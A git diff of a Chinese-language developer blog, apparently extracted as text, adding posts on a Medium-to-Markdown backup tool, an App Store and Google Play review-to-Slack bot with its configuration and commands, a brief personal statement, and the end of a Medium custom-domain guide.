再次檢查「HOST RECORDS」區塊有無出現紀錄。

有的話 Namecheap 這邊就設定完成了,回到 Medium 設定頁。

點擊「 Continue 」繼續。

出現處理中頁面,代表設定完成!

這邊要說明一下 Domain 綁定 DNS 設定需要最遲 48 小時才會完全生效,最快不一定,我設定的經驗是 15 分鐘就成功了;但 48 小時內還是有可能你可以訪問帶其他人找不到。

未生效時訪問網域會出現 404:

要注意

使用自訂網域分享出去的連結,如果之後更改自訂網域可能會導致已分享的連結失效。

小問題

2021/02/24 撰文時還太新,還有些問題要等 Medium 解決:

[Custom domains are back!](https://blog.medium.com/custom-domains-are-back-2dee29560d59){:target="_blank"}

Custom domains are back!

但我想已經能 99% 正常運作了!

是說如果取消付費會員…那會?直接失效?

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

揭露一個幾年前發現的巧妙網站漏洞

Bye Bye 2020 經營 Medium 第二年回顧

diff --git a/posts/ddd88a84e177/index.html b/posts/ddd88a84e177/index.html new file mode 100644 index 000000000..d39bcc6b1 --- /dev/null +++ b/posts/ddd88a84e177/index.html @@ -0,0 +1,69 @@ + Converting Medium Posts to Markdown | ZhgChgLi
Home Converting Medium Posts to Markdown
Post
Cancel

Converting Medium Posts to Markdown

Converting Medium Posts to Markdown

撰寫小工具將 Medium 心血文章備份下來 & 轉換成 Markdown 格式

[ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}

ZhgChgLi / ZMediumToMarkdown

[EN] ZMediumToMarkdown

I’ve written a project to let you download Medium post and convert it to markdown format easily.

Features

  • Support download post and convert to markdown format
  • Support download all posts and convert to markdown format from any user without login access.
  • Support download paid content
  • Support download all of post’s images to local and convert to local path
  • Support parse Twitter tweet content to blockquote
  • Support download paid content
  • Support command line interface
  • Convert Gist source code to markdown code block
  • Convert youtube link which embed in post to preview image
  • Adjust post’s last modification date from Medium to the local downloaded markdown file
  • Auto skip when post has been downloaded and last modification date from Medium doesn’t changed (convenient for auto-sync or auto-backup service, to save server’s bandwidth and execution time)
  • Support using Github Action as auto sync/backup service
  • Highly optimized markdown format for Medium
  • Native Markdown Style Render Engine (Feel free to contribute if you any optimize idea! MarkupStyleRender.rb )
  • jekyll & social share (og: tag) friendly
  • 100% Ruby @ RubyGem

[CH] ZMediumToMarkdown

可針對 Medium 文章連結、Medium 使用者的所有文章,爬取其內容並轉換成 Markdwon 格式連同文章內圖片一同下載下來的備份小工具。

[2022/07/18 Update]: 手把手教你無痛轉移 Medium 到自架網站

特色功能

  • 免登入、免特殊權限
  • 支援單篇文章、使用者所有文章下載並轉換成 Markdown
  • 支援下載備份文章內的所有圖片並轉換成對應圖片路徑
  • 支援深度解析內嵌於文章中的 Gist 並轉換成相對語言的 Markdown Code Block
  • 支援解析 Twitter 內容並轉貼到文章中
  • 支援解析內嵌於文章中的 Youtube 影片,將轉換成影片預覽圖及連結顯示於 Markdown
  • 使用者所有文章下載時會去掃描文章內有無嵌入關聯文章,有的話會將連結替換為本地
  • 針對 Medium 格式樣式特別優化
  • 自動將下載下來文章的最後修改/建立時間,更改為同 Medium 文章發佈時間
  • 自動比對下載下來的文章最後修改,如果沒有小於 Medium 文章最後修改時間時則自動跳過 (方便大家使用此工具建立自動 Sync/Backup 工具,此機制能節省 server 流量/時間)
  • CLI 操作,支援自動化

本項目及本篇文章僅供技術研究,請勿用於任何商業用途,請勿用於非法用途,如有任何人憑此做何非法事情,均於作者無關,特此聲明。

請確認您有文章使用、著作權再行下載備份。

起源

經營 Medium 第三年,已累積發表超過 65 篇文章;所有文章都是我直接使用 Medium 平台撰寫,沒有其他備份;老實說一直很怕 Medium 平台有狀況或是其他因素導致這幾年的心血結晶消失。

之前曾經手動備份過,非常無聊且浪費時間,所以一直在找尋一個可以自動把所有文章備份下載下來的工具、最好還能轉換成 Markdown 格式。

備份需求

  • Markdown 格式
  • 依照 User 能自動下載該 User 的所有 Medium Posts
  • 文章圖片也要能被下載備份下來
  • 要能 Parse Gist 成 Markdown Code Block (我的 Medium 大量使用 gist 嵌入 Source Code 所以這個功能很重要)

備份方案

Medium 官方

官方雖然有提供匯出備份功能,但匯出格式僅能用於匯入 Medum、非 Markdown 或共通格式,而且不會處理 Github Gitst …等等 Embed 的內容。

Medium 提供的 API 沒什麼在維護且只提供 Create Post 功能。

合理,因為 Medium 官方不希望使用者能輕易地將內容轉移至其他平台。

Chrome Extension

有找到試用了幾個 Chrome Extension (幾乎都被下架了),效果不好,一是要手動一篇文章一篇文章點進去備份、二是 Parse 出來的格式很多錯誤而且也無法深度 Parse Gist Source Code 出來、也無法備份文章的所有圖片下來。

medium-to-markdown command line

某位大神用 js 寫的,能達成基本的下載及轉換成 Markdown 功能,但一樣沒圖片備份、深度 Parse Gist Source Code。

ZMediumToMarkdown

苦無完美解決方案後,下定決心自行撰寫一個備份轉換工具;花費了大約三週的下班時間使用 Ruby 完成。

技術細節

如何透過輸入使用者名稱得到文章列表?

1.取得 UserID:檢視使用者主頁(https://medium.com/@# {username} ) 原始碼可以找到 Username 對應的 UserID 這邊要注意因為 Meidum 重新開放自訂網域 所以要多處理 30X 轉址

2.嗅探網路請求可以發現 Medium 使用 GraphQL 去取得主頁的文章列表資訊

3.複製 Query & 替換 UserID 到請求資訊

1
+2
+
HOST: https://medium.com/_/graphql
+METHOD: POST
+

4.取得 Response

每次只能拿 10 筆,要分頁拿取。

  • 文章列表:可以在 result[0]-&gt;userResult-&gt;homepagePostsConnection-&gt;posts 中取得
  • homepagePostsFrom 分頁資訊 :可以在 result[0]-&gt;userResult-&gt;homepagePostsConnection-&gt;pagingInfo-&gt;next 中取得 將 homepagePostsFrom 帶入請求即可進行分頁存取, nil 時代表已沒有下一頁

如何剖析文章內容?

檢視文章原始碼後可發現,Medium 是使用 Apollo Client 服務進行架設;其端 HTML 實際是從 JS 渲染而來;因此可以再檢視原始碼中的 <script> 區段找到 window.__APOLLO_STATE__ 字段,內容就是整篇文章的段落架構,Medium 會把你整篇文章拆成一句一句的段落,再透過 JS 引擎渲染回 HTML。

我們要做的事也一樣,解析這個 JSON,比對 Type 在 Markdown 的樣式,組合出 Markdown 格式。

技術難點

這邊有一個技術困難點就是在渲染段落文字樣式時,Medium 給的結構如下:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+
"Paragraph": {
+    "text": "code in text, and link in text, and ZhgChgLi, and bold, and I, only i",
+    "markups": [
+      {
+        "type": "CODE",
+        "start": 5,
+        "end": 7
+      },
+      {
+        "start": 18,
+        "end": 22,
+        "href": "http://zhgchg.li",
+        "type": "LINK"
+      },
+      {
+        "type": "STRONG",
+        "start": 50,
+        "end": 63
+      },
+      {
+        "type": "EM",
+        "start": 55,
+        "end": 69
+      }
+    ]
+}
+

意思是 code in text, and link in text, and ZhgChgLi, and bold, and I, only i 這段文字的:

1
+2
+3
+4
+
- 第 5 到第 7 字元要標示為 程式碼 (用`Text`格式包裝)
+- 第 18 到第 22 字元要標示為 連結 (用[Text](URL)格式包裝)
+- 第 50 到第 63 字元要標示為 粗體(用*Text*格式包裝)
+- 第 55 到第 69 字元要標示為 斜體(用_Text_格式包裝)
+

第 5 到 7 & 18 到 22 在這個例子裡好處理,因為沒有交錯到;但 50–63 & 55–69 會有交錯問題,Markdown 無法用以下交錯方式表示:

1
+
code `in` text, and [ink](http://zhgchg.li) in text, and ZhgChgLi, and **bold,_ and I, **only i_
+

正確的組合結果如下:

1
+
code `in` text, and [ink](http://zhgchg.li) in text, and ZhgChgLi, and **bold,_ and I, _**_only i_
+

50–55 STRONG 55–63 STRONG, EM 63–69 EM

另外要需注意:

  • 包裝格式的字串頭跟尾要能區別,Strong 只是剛好頭跟尾都是 ** ,如果是 Link 頭會是 [ 尾則是 ](URL)
  • Markdown 符號與字串結合時要注意前後不能有空白,否則會失效

完整問題請看此。

這塊研究了好久,目前先使用現成套件解決 reverse_markdown

特別感謝前同事 Nick , Chun-Hsiu Liu ,James 協力研究,之後有時間再自己寫改成原生的。

成果

原文 -> 轉換後的 Markdown 結果

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Design Patterns 的實戰應用紀錄

自行實現 iOS NSAttributedString HTML Render

diff --git a/posts/declaration_for_google_search_result/index.html b/posts/declaration_for_google_search_result/index.html new file mode 100644 index 000000000..5c9ffe813 --- /dev/null +++ b/posts/declaration_for_google_search_result/index.html @@ -0,0 +1 @@ + Google 搜尋出現與本人李仲澄無關之負面新聞聲明 | ZhgChgLi
Home Google 搜尋出現與本人李仲澄無關之負面新聞聲明
Post
Cancel

Google 搜尋出現與本人李仲澄無關之負面新聞聲明

聲明

聲明稿

聲明人:李仲澄

聲明日期:2023/01/09

聯繫方式:zhgchgli@gmail.com

(因不想增加 Google 對無關的惡意字詞收錄,故使用圖片做為聲明文件)


This post is licensed under CC BY 4.0 by the author.

Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk

ZMarkupParser HTML String 轉換 NSAttributedString 工具

diff --git a/posts/e36e48bb9265/index.html b/posts/e36e48bb9265/index.html new file mode 100644 index 000000000..65c923a18 --- /dev/null +++ b/posts/e36e48bb9265/index.html @@ -0,0 +1,325 @@ + ZReviewTender — 免費開源的 App Reviews 監控機器人 | ZhgChgLi
Home ZReviewTender — 免費開源的 App Reviews 監控機器人
Post
Cancel

ZReviewTender — 免費開源的 App Reviews 監控機器人

ZReviewTender — 免費開源的 App Reviews 監控機器人

實時監測 App 的最新評價內容並即時給予反饋,提升協作效率及消費者滿意度

[ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} [ZReviewTender](https://github.com/ZhgChgLi/ZReviewTender){:target="_blank"}

ZhgChgLi / ZReviewTender

ZhgChgLi / ZReviewTender

App Reviews to Slack Channel

App Reviews to Slack Channel

ZReviewTender 為您自動監控 App Store iOS/macOS App 與 Google Play Android App 的使用者最新評價訊息,並提供持續整合工具,串接進團隊工作流程,提升協作效率及消費者滿意度。

特色功能

  • 取得 App Store iOS/macOS App 與 Google Play Android App 評價列表並篩選出尚未爬取過的最新評價內容
  • [預設功能] 轉發爬取到的最新評價到 Slack,點擊訊息 Timestamp 連結能快速進入後台回覆評價
  • [預設功能] 支援使用 Google Translate API 自動翻譯非指定語系、地區的評價內容成您的語言
  • [預設功能] 支援自動記錄評價到 Google Sheet
  • 支援彈性擴充,除包含的預設功能外您仍可依照團隊工作流程,自行開發所需功能並整合進工具中 e.g. 轉發評價到 Discord, Line, Telegram…
  • 使用時間戳紀錄爬取位置,防止重複爬取評價
  • 支援過濾功能,可指定只爬取 多少評分、評價內容包含什麼關鍵字、什麼地區/語系 的評價
  • Apple 基於 全新的 App Store Connect API ,提供穩定可靠的 App Store App 評價資料來源,不再像 以往使用 XML 資料不可靠 or Fastlane Spaceship Session 會過期需定時人工維護
  • Android 同樣使用官方 AndroidpublisherV3 API 撈取評價資料
  • 支援使用 Github Repo w/ Github Action 部署,讓您免費快速的建立 ZReviewTender App Reviews 機器人
  • 100% Ruby @ RubyGem

與類似服務比較

App Reviews 工作流程整合範例 (in Pinkoi)

問題:

商城的評價對產品很重要但他卻是一個非常人工跟重複轉介溝通的事。

因為要時不時人工上去看一下新評價,如過有客服問題再將問題轉發給客服協助處理,很重複、人工。

透過 ZReviewTender 評價機器人,將評價自動轉發到 Slack Channel,大家能快速收到最新評價資訊,並即時追蹤、討論;也能讓整個團隊了解目前使用者對產品的評價、建議。

更多資訊可參考: 2021 Pinkoi Tech Career Talk — 高效率工程團隊大解密

部署 — 只使用預設功能

如果您只需要 ZReviewTender 自帶的預設功能 (to Slack/Google Translate/Filter) 則可使用以下快速部署方式。

ZReviewTender 已打包發佈到 RubyGems ,您可以快速方便的使用 RubyGems 安裝使用 ZReviewTender。

[推薦] 直接使用 Github Repo Template 部署

  • 無需任何主機空間 ✅
  • 無需任何環境要求 ✅
  • 無需了解工程原理 ✅
  • 完成 Config 檔案配置即完成部署 ✅
  • 8 個步驟即可完成部署 ✅
  • 完全免費 ✅ Github Action 提供每個帳號 2,000+分鐘/月 執行用量,執行一次 ZReviewTender 評價撈取約只需要 15~30 秒。 預設每 6 小時執行一次,一天執行 4 次, 一個月約只消耗 60 分鐘額度 。 Github Private Repo 免費無限制建立。

1.前往 ZReviewTender Template Repo: ZReviewTender-deploy-with-github-action

點擊右上方「Use this template」按鈕。

2. 建立 Repo

  • Repository name: 輸入你想要的 Repo 專案名稱
  • Access: Private

⚠️⚠️ 請務必建立 Private Repo ⚠️⚠️

因為你將上傳設定及私密金鑰到專案中

最後點擊下方「Create repository from template」按鈕。

3. 確認你建立的 Repo 是 Private Repo

確認右上方 Repo 名稱有出現「🔒」和 Private 標籤。

若無則代表您建立的事 Public Repo 非常危險 ,請前往上方 Tab「Settings」-> 「General」-> 底部「Danger Zone」-> 「Change repository visibility」->「Make private」 改回 Private Repo

4. 等待 Project init 成功

可在 Repo 首頁 Readme 中的

區塊查看 Badge,如果 passing 即代表 init 成功。

或是點擊上方 Tab「Actions」-> 等待「Init ZReviewTender」Workflow 執行完成:

執行完成狀態會變 3「✅ Init ZReviewTender」-> Project init 成功。

5. 確認 init 檔案及目錄是否正確建立

點擊上方 Tab「Code」回到專案目錄,Project init 成功的話會出現:

  • 目錄: config/
  • 檔案: config/android.yml
  • 檔案: config/apple.yml
  • 目錄: latestCheckTimestamp/
  • 檔案: latestCheckTimestamp/.keep

6. 完成 Configuration 配置好 android.yml & apple.yml

進入 config/ 目錄完成 android.yml & apple.yml 檔案配置。

點擊進入要編輯的 confi YML 檔案點擊右上方「✏️」編輯檔案。

參考本文下方「 設定 」區塊完成配置好 android.yml & apple.yml

編輯完成後可以直接在下方「Commit changes」儲存設定。

上傳相應的 Key 檔案到 config/ 目錄下:

config/ 目錄下,右上角選擇「Add file」->「Upload files」

將 config yml 裡配置的相應 Key、外部檔案路徑一併上傳到 config/ 目錄下,拖曳檔案到「上方區塊」-> 等待檔案上傳完成 -> 下方直接「Commit changes」儲存。

上傳完成後回到 /config 目錄查看檔案是否正確儲存&上傳。

7. 初始化 ZReviewTender (手動觸發執行一次)

點擊上方 Tab「Actions」-> 左方選擇「ZReviewTender」-> 右方按鈕選擇「Run workflow」-> 點擊「Run workflow」按鈕執行一次 ZReviewTender。

點擊後,重新整理網頁 會出現:

點擊「ZReviewTender」可進入查看執行狀況。

展開「 Run ZreviewTender -r 」區塊可查看執行 Log。

這邊可以看到出現 Error,因為我還沒配置好我的 config yml 檔案。

回頭調整好 android/apple config yml 後再回到 6. 步驟一開始重新觸發執行一次。

查看 「 ZReviewTender -r 」區塊的 log 確認執行成功!

Slack 指定接收最新評價訊息的 Channel 也會出現 init Success 成功訊息 🎉

8. Done! 🎉 🎉 🎉

配置完成!爾後每 6 個小時會自動爬取期間內的最新評價並轉發到你的 Slack Channel 中!

可在 Repo 首頁 Readme 中的頂部查看最新一次執行狀況:

若出現 Error 即代表執行發生錯誤,請從 Acions -> ZReviewTender 進入查看紀錄;如果有意外的錯誤,請 建立一個 Issue 附上紀錄資訊,將會盡快修正!

❌❌❌執行發生錯誤同時 Github 也會寄信通知,不怕發生錯誤機器人掛掉但沒人發現!

Github Action 調整

您還可以依照自己需求配置 Github Action 執行規則。

點擊上方 Tab「Actions」-> 左方「ZReviewTender」-> 右上方「 ZReviewTender.yml

點擊右上方「✏️」編輯檔案。

有兩個參數可供調整:

cron : 設定多久檢查一次有無新評價,預設是 15 */6 * * * 代表每 6 小時 15 分鐘會執行一次。

可參考 crontab.guru 依照自己的需求配置。

請注意:

1. Github Action 使用的是 UTC 時區

2. 執行頻率越高會消耗越多Github Action 執行額度

run : 設定要執行的指令,可參考本文下方「 執行 」區塊,預設是 ZReviewTender -r

  • 預設執行 Android App & Apple(iOS/macOS App): ZReviewTender -r
  • 只執行 Android App: ZReviewTender -g
  • 只執行 Apple(iOS/macOS App) App: ZReviewTender -a

編輯完成後點擊右上方「Start commit」選擇「Commit changes」儲存設定。

手動觸發執行 ZReviewTender

參考前文「6. 初始化 ZReviewTender (手動觸發執行一次)」

使用 Gem 安裝

如果熟悉 Gems 可以直接使用以下指令安裝 ZReviewTender

1
+
gem install ZReviewTender
+

使用 Gem 安裝 (不熟悉 Ruby/Gems)

如果不熟悉 Ruby or Gems 可以 Follow 以下步驟 Step by Step 安裝 ZReviewTender

  1. macOS 雖自帶 Ruby,但建議使用 rbenv or rvm 安裝新的 Ruby 及管理 Ruby 版本 (我使用 2.6.5 )
  2. 使用 rbenv or rvm 安裝 Ruby 2.6.5,並切換至 rbenv/rvm 的 Ruby
  3. 使用 which ruby 確認當前使用的 Ruby /usr/bin/ruby 系統 Ruby
  4. Ruby 環境 Ok 後使用以下指令安裝 ZReviewTender
1
+
gem install ZReviewTender
+

部署 — 想自行擴充功能

手動

  1. git clone ZReviewTender Source Code
  2. 確認 & 完善 Ruby 環境
  3. 進入目錄,執行 bundle install ZReviewTender 安裝相關依賴

Processor 建立方式可參考後面文章內容。

設定

ZReviewTender — 使用 yaml 檔設定 Apple/Google 評價機器人。

[推薦] 直接使用文章下方的執行指令 — 「產生設定檔案」:

1
+
ZReviewTender -i
+

直接產生空白的 apple.yml & android.yml 設定檔。

Apple (iOS/macOS App)

參考 apple.example.yml 檔案:

ZReviewTender/apple.example.yml at main · ZhgChgLi/ZReviewTender You can’t perform that action at this time. You signed in with another tab or window. You signed out in another tab or… github.com

⚠️ 下載下來 apple.example.yml 後記得將檔名改成 apple.yml

1
+2
+3
+4
+5
+6
+
platform: 'apple'
+appStoreConnectP8PrivateKeyFilePath: '' # APPLE STORE CONNECT API PRIVATE .p8 KEY File Path
+appStoreConnectP8PrivateKeyID: '' # APPLE STORE CONNECT API PRIVATE KEY ID
+appStoreConnectIssueID: '' # APPLE STORE CONNECT ISSUE ID
+appID: '' # APP ID
+...
+

appStoreConnectIssueID:

appStoreConnectP8PrivateKeyID & appStoreConnectP8PrivateKeyFilePath:

  • Name: ZReviewTender
  • Access: App Manager

  • appStoreConnectP8PrivateKeyID: Key ID
  • appStoreConnectP8PrivateKeyFilePath: /AuthKey_XXXXXXXXXX.p8 ,Download API Key,並將檔案放入與 config yml 同目錄下。

appID:

appID: App Store Connect -> App Store -> General -> App Information -> Apple ID

GCP Service Account

ZReviewTender 所使用到的 Google API 服務 (撈取商城評價、Google 翻譯、Google Sheet) 都是使用 Service Account 驗證方式。

可先依照 官方步驟建立 GCP & Service Account 下載保存 GCP Service Account 身份權限金鑰 ( *.json )。

  • 如要使用自動翻譯功能請確認 GCP有啟用 Cloud Translation API 和使用的 Service Account 也有加入
  • 如要使用記錄到 Google Sheet 功能請確認 GCP 有啟用 Google Sheets APIGoogle Drive API 和使用的 Service Account 也有加入

Google Play Console (Android App)

參考 android.example.yml 檔案:

ZReviewTender/android.example.yml at main · ZhgChgLi/ZReviewTender You can’t perform that action at this time. You signed in with another tab or window. You signed out in another tab or… github.com

⚠️ 下載下來 android.example.yml 後記得將檔名改成 android.yml

1
+2
+3
+4
+5
+6
+
platform: 'android'
+packageName: '' # Android App Package Name
+keyFilePath: '' # Google Android Publisher API Credential .json File Path
+playConsoleDeveloperAccountID: '' # Google Console Developer Account ID
+playConsoleAppID: '' # Google Console App ID
+......
+

packageName:

packageName: com.XXXXX 可於 Google Play Console -> Dashboard -> App 中取得

playConsoleDeveloperAccountID & playConsoleAppID:

可由 Google Play Console -> Dashboard -> App 頁面網址中取得:

https://play.google.com/console/developers/ playConsoleDeveloperAccountID /app/ playConsoleAppID /app-dashboard

將用於組合評價訊息連結,讓團隊可以點擊連結快速進入後台評價回覆頁面。

keyFilePath:

最重要的資訊,GCP Service Account 身份權限金鑰 ( *.json )

需要按照 官方文件 步驟,建立 Google Cloud Project & Service Account 並到 Google Play Console -> Setup -> API Access 中完成啟用 Google Play Android Developer API &連結專案,到 GCP 點擊下載服務帳戶的 JSON 金鑰。

JSON 金鑰範例內容如下:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
{
+    "type": "service_account",
+    "project_id": "XXXX",
+    "private_key_id": "XXXX",
+    "private_key": "-----BEGIN PRIVATE KEY-----\nXXXX\n-----END PRIVATE KEY-----\n",
+    "client_email": "XXXX@XXXX.iam.gserviceaccount.com",
+    "client_id": "XXXX",
+    "auth_uri": "https://accounts.google.com/o/oauth2/auth",
+    "token_uri": "https://oauth2.googleapis.com/token",
+    "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
+    "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/XXXX.iam.gserviceaccount.com"
+}
+
  • keyFilePath: /gcp_key.json 金鑰檔案路徑,將檔案放入與 config yml 同目錄下。

Processors

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+
processors:
+    - FilterProcessor:
+        class: "FilterProcessor"
+        enable: true # enable
+        keywordsInclude: [] # keywords you want to filter out
+        ratingsInclude: [] # ratings you want to filter out
+        territoriesInclude: [] # territories you want to filter out
+    - GoogleTranslateProcessor: # Google Translate Processor, will translate review text to your language, you can remove whole block if you don't needed it.
+        class: "GoogleTranslateProcessor"
+        enable: false # enable
+        googleTranslateAPIKeyFilePath: '' # Google Translate API Credential .json File Path
+        googleTranslateTargetLang: 'zh-TW' # Translate to what Language
+        googleTranslateTerritoriesExclude: ["TWN","CHN"] # Review origin Territory (language) that you don't want to translate.
+    - SlackProcessor: # Slack Processor, resend App Review to Slack.
+        class: "SlackProcessor"
+        enable: true # enable
+        slackTimeZoneOffset: "+08:00" # Review Created Date TimeZone
+        slackAttachmentGroupByNumber: "1" # 1~100, how many review message in 1 slack message.
+        slackBotToken: "" # Slack Bot Token, send slack message throught Slack Bot.
+        slackBotTargetChannel: "" # Slack Bot Token, send slack message throught Slack Bot. (recommended, first priority)
+        slackInCommingWebHookURL: "" # Slack In-Comming WebHook URL, Send slack message throught In-Comming WebHook, not recommended, deprecated.
+    ...More Processors...
+

ZReviewTender 自帶四個 Processor,先後順序會影響到資料處理流程 FilterProcessor->GoogleTranslateProcessor->SlackProcessor-> GoogleSheetProcessor。

FilterProcessor:

依照指定條件過濾撈取的評價,只處理符合條件的評價。

  • class: FilterProcessor 無需調整,指向 lib/Processors/ FilterProcessor .rb
  • enable: true / false 啟用此 Processor or Not
  • keywordsInclude: [“ 關鍵字1 ”,“ 關鍵字2 ”…] 篩選出內容包含這些關鍵字的評價
  • ratingsInclude: [ 1 , 2 …] 1~5 篩選出包含這些評價分數的評價
  • territoriesInclude: [“ zh-hant ”,” TWN ”…] 篩選出包含這些地區(Apple)或語系(Android)的評價

GoogleTranslateProcessor:

將評價翻譯成指定語言。

  • class: GoogleTranslateProcessor 無需調整,指向 lib/Processors/ GoogleTranslateProcessor .rb
  • enable: true / false 啟用此 Processor or Not
  • googleTranslateAPIKeyFilePath: /gcp_key.json GCP Service Account 身份權限金鑰 File Path *.json ,將檔案放入與 config yml 同目錄下,內容範例可參考上方 Google Play Console JSON 金鑰範例。 (請確認該 JSON key 之 service account 有 Cloud Translation API 使用權限)
  • googleTranslateTargetLang: zh-TWen …目標翻譯語言
  • googleTranslateTerritoriesExclude: [“ zh-hant ”,” TWN ”…] 不需翻譯的地區(Apple)或語系(Android)

SlackProcessor:

轉發評價到 Slack。

  • class: SlackProcessor 無需調整,指向 lib/Processors/ SlackProcessor .rb
  • enable: true / false 啟用此 Processor or Not
  • slackTimeZoneOffset: +08:00 評價時間顯示時區
  • slackAttachmentGroupByNumber: 1 設定幾則 Reviews 合併成同一則訊息,加速發送;預設 1 則 Review 1 則 Slack 訊息。
  • slackBotToken: xoxb-xxxx-xxxx-xxxx Slack Bot Token ,Slack 建議建立一個 Slack Bot 包含 postMessages Scope 並使用其發送 Slack 訊息
  • slackBotTargetChannel: CXXXXXX 群組 ID ( 非群組名稱 ),Slack Bot 要發送到哪個 Channel 群組;且 需要把你的 Slack Bot 加入到該群組
  • slackInCommingWebHookURL: https://hooks.slack.com/services/XXXXX 使用舊的 InComming WebHookURL 發送訊息到 Slack,注意!Slack 不建議再繼續使用此方法發送訊息。

Please note, this is a legacy custom integration — an outdated way for teams to integrate with Slack. These integrations lack newer features and they will be deprecated and possibly removed in the future. We do not recommend their use. Instead, we suggest that you check out their replacement: Slack apps .

  • slackBotToken 與 slackInCommingWebHookURL,SlackProcessor 會優選選擇使用 slackBotToken

GoogleSheetProcessor

紀錄評價到 Google Sheet。

  • class: GoogleSheetProcessor 無需調整,指向 lib/Processors/ SlackProcessor .rb
  • enable: true / false 啟用此 Processor or Not
  • googleSheetAPIKeyFilePath: /gcp_key.json GCP Service Account 身份權限金鑰 File Path *.json ,將檔案放入與 config yml 同目錄下,內容範例可參考上方 Google Play Console JSON 金鑰範例。 (請確認該 JSON key 之 service account 有 Google Sheets APIGoogle Drive API 使用權限)
  • googleSheetTimeZoneOffset: +08:00 評價時間顯示時區
  • googleSheetID: Google Sheet ID 可由 Google Sheet 網址中取得:https://docs.google.com/spreadsheets/d/ googleSheetID /
  • googleSheetName: Sheet 名稱, e.g. Sheet1
  • keywordsInclude: [“ 關鍵字1 ”,“ 關鍵字2 ”…] 篩選出內容包含這些關鍵字的評價
  • ratingsInclude: [ 1 , 2 …] 1~5 篩選出包含這些評價分數的評價
  • territoriesInclude: [“ zh-hant ”,” TWN ”…] 篩選出包含這些地區(Apple)或語系(Android)的評價
  • values: [ ] 評價資訊的欄位組合
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
%TITLE% 評價標題
+%BODY% 評價內容
+%RATING% 評價分數 1~5
+%PLATFORM% 評價來源平台 Apple or Android
+%ID% 評價ID
+%USERNAME% 評價
+%URL% 評價前往連結
+%TERRITORY% 評價地區(Apple)或評價語系(Android)
+%APPVERSION% 被評價的 App 版本
+%CREATEDDATE% 評價建立日期
+

例如我的 Google Sheet 欄位如下:

1
+
評價分數,評價標題,評價內容,評價資訊
+

則 values 可設定成:

1
+
values: ["%TITLE%","%BODY%","%RATING%","%PLATFORM% - %APPVERSION%"]
+

自訂 Processor 串接自己的工作流程

若需要自訂 Processor 請改用手動部署,因 gem 上的 ZReviewTender 已打包無法動態調整。

您可參考 lib/Processors/ProcessorTemplate.rb 建立您的擴充功能:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+
$lib = File.expand_path('../lib', File.dirname(__FILE__))
+
+require "Models/Review"
+require "Models/Processor"
+require "Helper"
+require "ZLogger"
+
+# Add to config.yml:
+#
+# processors:
+#   - ProcessorTemplate:
+#       class: "ProcessorTemplate"
+#       parameter1: "value"
+#       parameter2: "value"
+#       parameter3: "value"
+#       ...
+#
+
+class ProcessorTemplate < Processor
+
+    def initialize(config, configFilePath, baseExecutePath)
+        # init Processor
+        # get paraemter from config e.g. config["parameter1"]
+        # configFilePath: file path of config file (apple.yml/android.yml)
+        # baseExecutePath: user excute path
+    end
+
+    def processReviews(reviews, platform)
+        if reviews.length < 1
+            return reviews
+        end
+
+        ## do what your want to do with reviews...
+        
+        ## return result reviews
+        return reviews
+    end
+end
+

initialize 會給予:

  • config Object: 對應 config yml 內的設定值
  • configFilePath: 使用的 config yml 檔案路徑
  • baseExecutePath: 使用者在哪個路徑執行 ZReviewTender

processReviews(reviews, platform):

爬取完新評價後,會進入這個 function 讓 Processor 有機會處理,處理完請 return 結果的 Reviews。

Review 資料結構定義在 lib/Models/ Review.rb

附註

XXXterritorXXX 參數:

  • Apple 使用地區:TWM/JPN…
  • Android 使用語系:zh-hant/en/…

若不需要某個 Processor: 可以設定 enable: false 或是直接移除該 Processor Config Block。

Processors 執行順序可依照您的需求自行調整: e.g. 先執行 Filter 再執行翻譯再執行 Slack 再執行 Log to Google Sheet…

執行

⚠️ 使用 Gem 可直接下 ZReviewTender ,若為手動部署專案請使用 bundle exec ruby bin/ZReviewTender 執行。

產生設定檔案:

1
+
ZReviewTender -i
+

從 apple.example.yml & android.example.yml 產生 apple.yml & android.yml 到當前執行目錄的 config/ 目錄下。

執行 Apple & Android 評價爬取:

1
+
ZReviewTender -r
+
  • 默認讀取 /config/apple.yml & android.yml 設定

執行 Apple & Android 評價爬取 & 指定設定檔目錄:

1
+
ZReviewTender --run=設定檔目錄
+
  • 默認讀取 /config/apple.yml & android.yml 設定

只執行 Apple 評價爬取:

1
+
ZReviewTender -a
+
  • 默認讀取 /config/apple.yml 設定

只執行 Apple 評價爬取 & 指定設定檔位置:

1
+
ZReviewTender --apple=apple.yml設定檔位置
+

只執行 Android 評價爬取:

1
+
ZReviewTender -g
+
  • 默認讀取 /config/android.yml 設定

只執行 Android 評價爬取 & 指定設定檔位置:

1
+
ZReviewTender --googleAndroid=android.yml設定檔位置
+

清除執行紀錄回到初始設定

1
+
ZReviewTender -d
+

會刪除 /latestCheckTimestamp 裡的 Timestamp 紀錄檔案,回到初始狀態,再次執行爬取會再次收到 init success 訊息:

當前 ZReviewTender 版本

1
+
ZReviewTender -v
+

顯示當前 ZReviewTender 再 RubyGem 上的最新版本號。

更新 ZReviewTender 到最新版 (rubygem only)

1
+
ZReviewTender -n
+

第一次執行

第一次執行成功會發送初始化成功訊息到指定 Slack Channel,並在執行相應目錄下產生 latestCheckTimestamp/Apple , latestCheckTimestamp/Android 檔案紀錄最後爬取的評價 Timestamp。

另外還會產生一個 execute.log 紀錄執行錯誤。

設定排程持續執行

